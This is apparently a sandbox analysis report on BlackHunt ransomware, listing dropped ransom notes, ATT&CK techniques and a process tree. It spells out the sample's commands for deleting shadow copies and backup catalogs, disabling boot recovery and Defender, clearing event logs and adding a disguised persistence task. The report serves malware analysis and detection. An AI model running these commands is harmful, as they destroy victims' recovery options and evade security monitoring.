File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\#BlackHunt_Private.key	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.txt	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\gui\#BlackHunt_Private.key	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\#BlackHunt_Private.key	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\blackbars80.png	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.diagnostic.zh_CN_5.5.0.165303.jar	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.jdp_5.5.0.165303.jar	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-execution.xml	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-options-keymap.xml	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\Casey	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#BlackHunt_ReadMe.txt	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\#BlackHunt_ReadMe.txt	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_INTRO_BG_PAL.wmv	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\VideoLAN\VLC\lua\playlist\#BlackHunt_ReadMe.hta	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\#BlackHunt_ReadMe.txt	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files (x86)\Google\Update\Download\#BlackHunt_ReadMe.txt	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Cocos	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\buttons.png	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\7-Zip\Lang\da.txt	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-attach.jar	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#BlackHunt_ReadMe.hta	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\#BlackHunt_Private.key	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\rollinghills.png	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui.zh_CN_5.5.0.165303.jar	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport_mask_right.png	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-4	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Tell_City	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\#BlackHunt_ReadMe.txt	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jre7\lib\cmm\LINEAR_RGB.pf	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\plugin2\#BlackHunt_ReadMe.txt	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\#BlackHunt_Private.key	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_TW\#BlackHunt_Private.key	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainBackground.wmv	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\15x15dot.png	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.beans_1.2.200.v20140214-0004.jar	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Minsk	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\#BlackHunt_Private.key	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\#BlackHunt_ReadMe.txt	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2632	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
864	vssadmin.exe
2744	vssadmin.exe
2236	vssadmin.exe
2904	vssadmin.exe
2300	vssadmin.exe
2540	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1596	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3868	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
4000	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
Token: SeRestorePrivilege	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
Token: SeBackupPrivilege	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
Token: SeTakeOwnershipPrivilege	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
Token: SeAuditPrivilege	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
Token: SeSecurityPrivilege	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
Token: SeIncBasePriorityPrivilege	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
Token: SeBackupPrivilege	2140	vssvc.exe
Token: SeRestorePrivilege	2140	vssvc.exe
Token: SeAuditPrivilege	2140	vssvc.exe
Token: SeBackupPrivilege	3112	wbengine.exe
Token: SeRestorePrivilege	3112	wbengine.exe
Token: SeSecurityPrivilege	3112	wbengine.exe
Token: SeSecurityPrivilege	2560	wevtutil.exe
Token: SeBackupPrivilege	2560	wevtutil.exe
Token: SeSecurityPrivilege	1756	wevtutil.exe
Token: SeBackupPrivilege	1756	wevtutil.exe
Token: SeSecurityPrivilege	2280	wevtutil.exe
Token: SeBackupPrivilege	2280	wevtutil.exe
Token: SeSecurityPrivilege	3028	wevtutil.exe
Token: SeBackupPrivilege	3028	wevtutil.exe
Token: SeSecurityPrivilege	4060	wevtutil.exe
Token: SeBackupPrivilege	4060	wevtutil.exe
Token: SeDebugPrivilege	1596	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2508 wrote to memory of 2696	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	30
PID 2508 wrote to memory of 2696	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	30
PID 2508 wrote to memory of 2696	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	30
PID 2508 wrote to memory of 2696	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	30
PID 2508 wrote to memory of 2772	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	150
PID 2508 wrote to memory of 2772	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	150
PID 2508 wrote to memory of 2772	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	150
PID 2508 wrote to memory of 2772	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	150
PID 2696 wrote to memory of 2952	2696	cmd.exe	190
PID 2696 wrote to memory of 2952	2696	cmd.exe	190
PID 2696 wrote to memory of 2952	2696	cmd.exe	190
PID 2508 wrote to memory of 2724	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	204
PID 2508 wrote to memory of 2724	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	204
PID 2508 wrote to memory of 2724	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	204
PID 2508 wrote to memory of 2724	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	204
PID 2508 wrote to memory of 2572	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	213
PID 2508 wrote to memory of 2572	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	213
PID 2508 wrote to memory of 2572	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	213
PID 2508 wrote to memory of 2572	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	213
PID 2772 wrote to memory of 2700	2772	cmd.exe	143
PID 2772 wrote to memory of 2700	2772	cmd.exe	143
PID 2772 wrote to memory of 2700	2772	cmd.exe	143
PID 2508 wrote to memory of 2684	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	140
PID 2508 wrote to memory of 2684	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	140
PID 2508 wrote to memory of 2684	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	140
PID 2508 wrote to memory of 2684	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	140
PID 2508 wrote to memory of 2600	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	139
PID 2508 wrote to memory of 2600	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	139
PID 2508 wrote to memory of 2600	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	139
PID 2508 wrote to memory of 2600	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	139
PID 2724 wrote to memory of 2900	2724	conhost.exe	137
PID 2724 wrote to memory of 2900	2724	conhost.exe	137
PID 2724 wrote to memory of 2900	2724	conhost.exe	137
PID 2508 wrote to memory of 2592	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	200
PID 2508 wrote to memory of 2592	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	200
PID 2508 wrote to memory of 2592	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	200
PID 2508 wrote to memory of 2592	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	200
PID 2508 wrote to memory of 2828	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	136
PID 2508 wrote to memory of 2828	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	136
PID 2508 wrote to memory of 2828	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	136
PID 2508 wrote to memory of 2828	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	136
PID 2508 wrote to memory of 2176	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	135
PID 2508 wrote to memory of 2176	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	135
PID 2508 wrote to memory of 2176	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	135
PID 2508 wrote to memory of 2176	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	135
PID 2572 wrote to memory of 2780	2572	conhost.exe	134
PID 2572 wrote to memory of 2780	2572	conhost.exe	134
PID 2572 wrote to memory of 2780	2572	conhost.exe	134
PID 2508 wrote to memory of 2556	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	120
PID 2508 wrote to memory of 2556	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	120
PID 2508 wrote to memory of 2556	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	120
PID 2508 wrote to memory of 2556	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	120
PID 2508 wrote to memory of 2624	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	114
PID 2508 wrote to memory of 2624	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	114
PID 2508 wrote to memory of 2624	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	114
PID 2508 wrote to memory of 2624	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	114
PID 2508 wrote to memory of 2640	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	171
PID 2508 wrote to memory of 2640	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	171
PID 2508 wrote to memory of 2640	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	171
PID 2508 wrote to memory of 2640	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	171
PID 2508 wrote to memory of 3016	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	47
PID 2508 wrote to memory of 3016	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	47
PID 2508 wrote to memory of 3016	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	47
PID 2508 wrote to memory of 3016	2508	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe	47

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
"C:\Users\Admin\AppData\Local\Temp\995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2592
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2892
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:3016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2232
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2960
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:684
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - Interacts with shadow copies
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:108
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1156
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1592
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1732
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3020
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    - Adds Run key to start application
    PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1420
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1204
  - - C:\Windows\system32\wevtutil.exe
      wevtutil.exe cl Setup
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2520
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe" /F
  2⤵
  PID:1780
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1580
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2124
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
